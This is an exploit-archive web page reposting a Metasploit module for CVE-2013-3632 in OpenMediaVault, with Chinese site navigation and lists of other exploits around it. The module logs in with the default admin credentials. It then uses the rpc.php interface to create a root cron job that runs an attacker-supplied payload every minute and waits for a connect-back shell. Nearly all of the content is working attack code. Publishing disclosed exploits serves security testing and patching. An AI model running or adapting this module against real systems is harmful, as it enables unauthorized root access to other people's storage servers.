首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
OpenMediaVault Cron Remote Command Execution
来源:metasploit.com 作者:Perry 发布时间:2013-10-31  
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'OpenMediaVault Cron Remote Command Execution',
      'Description'    => %q{
      OpenMediaVault allows an authenticated user to create cron jobs as aribtrary users on the system.
      An attacker can abuse this to run arbitrary commands as any user available on the system (including root).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Brandon Perry <bperry.volatile[at]gmail.com>' # Discovery / msf module
        ],
      'References'     =>
        [
          ['CVE', '2013-3632'],
          ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/10/30/seven-tricks-and-treats']
        ],
      'Privileged' => true,
      'DefaultOptions' => { 'WfsDelay' => 60 },
      'Payload'        =>
      {
        'Compat'     =>
        {
          'PayloadType'  => 'cmd',
          'RequiredCmd'  => 'generic perl ruby bash telnet python',
        }
      },
      'Platform'       => ['unix', 'linux'],
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Automatic',{}]],
      'DisclosureDate' => 'Oct 30 2013',
      'DefaultTarget'  => 0
    ))

    register_options(
    [
      OptString.new('USERNAME', [ true, "Username to authenticate with", 'admin']),
      OptString.new('PASSWORD', [ false, "Password to authenticate with", 'openmediavault'])
    ], self.class)
  end

  def exploit
    init = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, '/index.php')
    })

    sess = init.get_cookies
    post = "{\"service\":\"Authentication\",\"method\":\"login\",\"params\":{\"username\":\"#{datastore["USERNAME"]}\",\"password\":\"#{datastore["PASSWORD"]}\"}}"

    login = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/rpc.php'),
      'data' => post,
      'ctype' => 'application/json',
      'cookie' => sess
    })

    if !login or login.code != 200
      fail_with("Login failed")
    end

    sess = login.get_cookies
    post = '{"service":"Cron","method":"set","params":{"enable":true,"minute":"*","hour":"*","dayofmonth":"*","month":"*","dayofweek":"*","username":"root","command":"'
    post << payload.encoded.gsub('"', '\"')
    post << '","comment":"","type":"userdefined","everynminute":false,"everynhour":false,"everyndayofmonth":false,"sendemail":false,"uuid":"undefined"}}'

    resp = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/rpc.php'),
      'data' => post,
      'ctype' => 'application/json',
      'cookie' => sess
    })

    if !resp or resp.code != 200
      fail_with("Posting cron failed.")
    end

    print_status("Waiting for connect-back, this will take up to a minute")
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Moodle Remote Command Executio
·ISPConfig Authenticated Arbitr
·Beetel Connection Manager NetC
·Zabbix Authenticated Remote Co
·ProcessMaker Open Source Authe
·NAS4Free Arbitrary Remote Code
·Apache / PHP Remote Command Ex
·vTiger CRM 5.3.0 / 5.4.0 Authe
·sup Remote Command Execution
·Watermark Master Buffer Overfl
·Apache / PHP 5.x Remote Code E
·AudioCoder 0.8.22 (.m3u) - SEH
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved